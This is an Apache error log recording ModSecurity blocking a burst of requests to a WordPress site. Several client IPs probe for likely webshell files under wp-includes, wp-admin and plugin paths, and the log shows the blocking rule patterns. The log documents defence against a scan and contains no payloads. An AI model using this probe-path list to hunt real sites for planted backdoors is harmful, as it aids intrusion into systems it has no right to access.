[Sat Feb 28 08:53:16.769948 2026] [:error] [pid 11791:tid 11795] [client 173.244.55.31:26569] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aaI8fGuX5e1Q32gqxH1AWQAAAQI"]
[Sat Feb 28 08:53:17.644849 2026] [proxy_fcgi:error] [pid 22194:tid 22212] [client 173.244.55.30:53441] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:18.049517 2026] [proxy_fcgi:error] [pid 39184:tid 39235] [client 173.244.55.31:57121] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:18.490279 2026] [:error] [pid 39184:tid 39227] [client 173.244.55.31:57121] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aaI8fltZF9Zd_U7easCJbgAAAEg"]
[Sat Feb 28 08:53:18.520629 2026] [:error] [pid 22194:tid 22216] [client 173.244.55.30:53441] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aaI8fn6mbajs3bzQGyu1ZQAAAVQ"]
[Sat Feb 28 08:53:19.371536 2026] [:error] [pid 11791:tid 11815] [client 173.244.55.23:65119] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aaI8f2uX5e1Q32gqxH1AggAAARY"]
[Sat Feb 28 08:53:19.400717 2026] [:error] [pid 22194:tid 22203] [client 173.244.55.22:39173] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aaI8f36mbajs3bzQGyu1cwAAAUc"]
[Sat Feb 28 08:53:20.267550 2026] [proxy_fcgi:error] [pid 22194:tid 22197] [client 173.244.55.21:43523] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:20.278500 2026] [:error] [pid 22194:tid 22218] [client 173.244.55.26:48645] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aaI8gH6mbajs3bzQGyu1fAAAAVY"]
[Sat Feb 28 08:53:20.712251 2026] [:error] [pid 22194:tid 22209] [client 173.244.55.21:43523] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/special.php"] [unique_id "aaI8gH6mbajs3bzQGyu1hAAAAU0"]
[Sat Feb 28 08:53:21.161232 2026] [:error] [pid 39183:tid 39200] [client 173.244.55.23:28645] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aaI8gRCf4HvhVePw3Lan3QAAAAg"]
[Sat Feb 28 08:53:21.586947 2026] [proxy_fcgi:error] [pid 39184:tid 39242] [client 173.244.55.25:36239] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:22.903255 2026] [:error] [pid 39184:tid 39226] [client 173.244.55.25:36239] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/sunrise/colors_95.php"] [unique_id "aaI8gltZF9Zd_U7easCJgQAAAEc"]
[Sat Feb 28 08:53:24.025487 2026] [:error] [pid 39292:tid 39310] [client 173.244.55.31:65411] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aaI8hKIAO5fN7BxyqcFD0AAAANA"]
[Sat Feb 28 08:53:24.231143 2026] [:error] [pid 11791:tid 11804] [client 173.244.55.29:44553] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aaI8hGuX5e1Q32gqxH1BDwAAAQs"]
[Sat Feb 28 08:53:25.556339 2026] [:error] [pid 22194:tid 22207] [client 173.244.55.25:53805] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aaI8hX6mbajs3bzQGyu1wgAAAUs"]
[Sat Feb 28 08:53:25.795013 2026] [:error] [pid 39292:tid 39313] [client 173.244.55.29:36741] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aaI8haIAO5fN7BxyqcFD2QAAANM"]
[Sat Feb 28 08:53:26.435191 2026] [proxy_fcgi:error] [pid 39183:tid 39197] [client 173.244.55.20:57119] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:26.668873 2026] [:error] [pid 11791:tid 11816] [client 173.244.55.25:21053] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moon.php"] [unique_id "aaI8hmuX5e1Q32gqxH1BRgAAARc"]
[Sat Feb 28 08:53:27.341107 2026] [:error] [pid 39183:tid 39196] [client 173.244.55.20:57119] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/file.php"] [unique_id "aaI8hxCf4HvhVePw3Lan9AAAAAQ"]
[Sat Feb 28 08:53:27.592443 2026] [proxy_fcgi:error] [pid 39184:tid 39222] [client 173.244.55.31:56963] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:28.463648 2026] [:error] [pid 39184:tid 39238] [client 173.244.55.31:56963] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aaI8iFtZF9Zd_U7easCJmgAAAFM"]
[Sat Feb 28 08:53:28.663831 2026] [:error] [pid 39292:tid 39309] [client 173.244.55.23:42161] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aaI8iKIAO5fN7BxyqcFD7gAAAM8"]
[Sat Feb 28 08:53:29.341001 2026] [:error] [pid 39183:tid 39198] [client 173.244.55.21:57773] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aaI8iRCf4HvhVePw3Lan_AAAAAY"]
[Sat Feb 28 08:53:29.541468 2026] [proxy_fcgi:error] [pid 11791:tid 11813] [client 173.244.55.21:30521] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:30.224370 2026] [:error] [pid 39183:tid 39200] [client 173.244.55.31:22779] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aaI8ihCf4HvhVePw3LaoBwAAAAg"]
[Sat Feb 28 08:53:30.422355 2026] [proxy_fcgi:error] [pid 11791:tid 11809] [client 173.244.55.21:30521] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:30.864021 2026] [:error] [pid 11791:tid 11806] [client 173.244.55.21:30521] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aaI8imuX5e1Q32gqxH1BsgAAAQ0"]
[Sat Feb 28 08:53:31.109430 2026] [:error] [pid 11791:tid 11817] [client 173.244.55.31:38367] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aaI8i2uX5e1Q32gqxH1BtQAAARg"]
[Sat Feb 28 08:53:31.739901 2026] [proxy_fcgi:error] [pid 39185:tid 39248] [client 173.244.55.23:43697] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:32.174924 2026] [:error] [pid 39185:tid 39254] [client 173.244.55.23:43697] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/admin.php"] [unique_id "aaI8jBVE-FfM89u7BQav-gAAAIg"]
[Sat Feb 28 08:53:32.433697 2026] [proxy_fcgi:error] [pid 39185:tid 39264] [client 173.244.55.26:20989] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:32.870125 2026] [:error] [pid 39185:tid 39263] [client 173.244.55.26:20989] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aaI8jBVE-FfM89u7BQawAwAAAJE"]
[Sat Feb 28 08:53:33.074128 2026] [:error] [pid 11791:tid 11797] [client 173.244.55.20:37657] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/admin.php"] [unique_id "aaI8jWuX5e1Q32gqxH1B1gAAAQQ"]
[Sat Feb 28 08:53:33.956647 2026] [:error] [pid 22194:tid 22208] [client 173.244.55.30:29981] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/admin.php"] [unique_id "aaI8jX6mbajs3bzQGyu2LwAAAUw"]
[Sat Feb 28 08:53:34.210909 2026] [proxy_fcgi:error] [pid 11791:tid 11793] [client 173.244.55.31:25899] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:34.659447 2026] [proxy_fcgi:error] [pid 11791:tid 11800] [client 173.244.55.31:25899] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:35.301302 2026] [:error] [pid 39292:tid 39298] [client 173.244.55.21:39049] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/click.php"] [unique_id "aaI8j6IAO5fN7BxyqcFEKQAAAMQ"]
[Sat Feb 28 08:53:35.998273 2026] [:error] [pid 11791:tid 11802] [client 173.244.55.31:25899] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/ahax.php"] [unique_id "aaI8j2uX5e1Q32gqxH1CGQAAAQk"]
[Sat Feb 28 08:53:36.182557 2026] [proxy_fcgi:error] [pid 39183:tid 39206] [client 173.244.55.29:60565] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:36.895222 2026] [:error] [pid 11791:tid 11810] [client 173.244.55.31:37653] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/ahax.php"] [unique_id "aaI8kGuX5e1Q32gqxH1CKAAAARE"]
[Sat Feb 28 08:53:37.497761 2026] [:error] [pid 39183:tid 39215] [client 173.244.55.29:60565] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aaI8kRCf4HvhVePw3LaoOAAAABc"]
[Sat Feb 28 08:53:38.221916 2026] [proxy_fcgi:error] [pid 11791:tid 11811] [client 173.244.55.20:24089] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:38.668188 2026] [:error] [pid 11791:tid 11799] [client 173.244.55.20:24089] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aaI8kmuX5e1Q32gqxH1CaAAAAQY"]
[Sat Feb 28 08:53:38.824799 2026] [proxy_fcgi:error] [pid 39185:tid 39256] [client 173.244.55.30:44405] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:39.557445 2026] [proxy_fcgi:error] [pid 22194:tid 22213] [client 173.244.55.26:62037] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:39.722470 2026] [proxy_fcgi:error] [pid 39185:tid 39248] [client 173.244.55.30:44405] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:40.170436 2026] [proxy_fcgi:error] [pid 39185:tid 39261] [client 173.244.55.30:44405] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:40.872453 2026] [:error] [pid 22194:tid 22210] [client 173.244.55.26:62037] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aaI8lH6mbajs3bzQGyu2eAAAAU4"]
[Sat Feb 28 08:53:41.055964 2026] [proxy_fcgi:error] [pid 39185:tid 39251] [client 173.244.55.30:44405] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:41.495064 2026] [:error] [pid 39185:tid 39253] [client 173.244.55.30:44405] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aaI8lRVE-FfM89u7BQawWQAAAIc"]
[Sat Feb 28 08:53:41.750779 2026] [:error] [pid 11791:tid 11810] [client 173.244.55.25:57919] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aaI8lWuX5e1Q32gqxH1CnwAAARE"]
[Sat Feb 28 08:53:42.377441 2026] [:error] [pid 39184:tid 39243] [client 173.244.55.28:47271] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aaI8lltZF9Zd_U7easCKBgAAAFg"]
[Sat Feb 28 08:53:43.266098 2026] [:error] [pid 22194:tid 22214] [client 173.244.55.30:44661] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aaI8l36mbajs3bzQGyu2qQAAAVI"]
[Sat Feb 28 08:53:43.935460 2026] [:error] [pid 39185:tid 39253] [client 173.244.55.31:33485] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aaI8lxVE-FfM89u7BQawbQAAAIc"]
[Sat Feb 28 08:53:44.156815 2026] [:error] [pid 22194:tid 22206] [client 173.244.55.26:22485] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aaI8mH6mbajs3bzQGyu2yQAAAUo"]
[Sat Feb 28 08:53:45.034466 2026] [proxy_fcgi:error] [pid 39292:tid 39295] [client 173.244.55.28:39279] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:45.254016 2026] [:error] [pid 39184:tid 39223] [client 173.244.55.25:39241] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aaI8mVtZF9Zd_U7easCKHwAAAEQ"]
[Sat Feb 28 08:53:45.471116 2026] [:error] [pid 39292:tid 39315] [client 173.244.55.28:39279] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aaI8maIAO5fN7BxyqcFEkQAAANU"]
[Sat Feb 28 08:53:46.127859 2026] [:error] [pid 22194:tid 22218] [client 173.244.55.20:52223] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/ioxi/ioxiworm.php"] [unique_id "aaI8mn6mbajs3bzQGyu3AAAAAVY"]
[Sat Feb 28 08:53:46.347255 2026] [:error] [pid 11791:tid 11813] [client 173.244.55.25:33737] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aaI8mmuX5e1Q32gqxH1C-AAAARQ"]
[Sat Feb 28 08:53:47.227814 2026] [:error] [pid 39292:tid 39303] [client 173.244.55.31:35397] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links.php"] [unique_id "aaI8m6IAO5fN7BxyqcFEnAAAAMk"]
[Sat Feb 28 08:53:47.926446 2026] [proxy_fcgi:error] [pid 22194:tid 22200] [client 173.244.55.21:55695] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:48.120755 2026] [proxy_fcgi:error] [pid 11791:tid 11817] [client 173.244.55.20:27297] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:48.373593 2026] [proxy_fcgi:error] [pid 22194:tid 22197] [client 173.244.55.21:55695] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:48.828436 2026] [proxy_fcgi:error] [pid 22194:tid 22200] [client 173.244.55.21:55695] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:49.022090 2026] [:error] [pid 11791:tid 11800] [client 173.244.55.20:27297] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aaI8nWuX5e1Q32gqxH1DLwAAAQc"]
[Sat Feb 28 08:53:49.268505 2026] [:error] [pid 22194:tid 22219] [client 173.244.55.21:55695] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/license.php"] [unique_id "aaI8nX6mbajs3bzQGyu3OQAAAVc"]
[Sat Feb 28 08:53:49.899576 2026] [:error] [pid 22194:tid 22204] [client 173.244.55.23:50249] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aaI8nX6mbajs3bzQGyu3RQAAAUg"]
[Sat Feb 28 08:53:50.154649 2026] [proxy_fcgi:error] [pid 39185:tid 39261] [client 173.244.55.23:31507] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:50.777743 2026] [:error] [pid 39185:tid 39246] [client 173.244.55.30:58751] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aaI8nhVE-FfM89u7BQawnwAAAIA"]
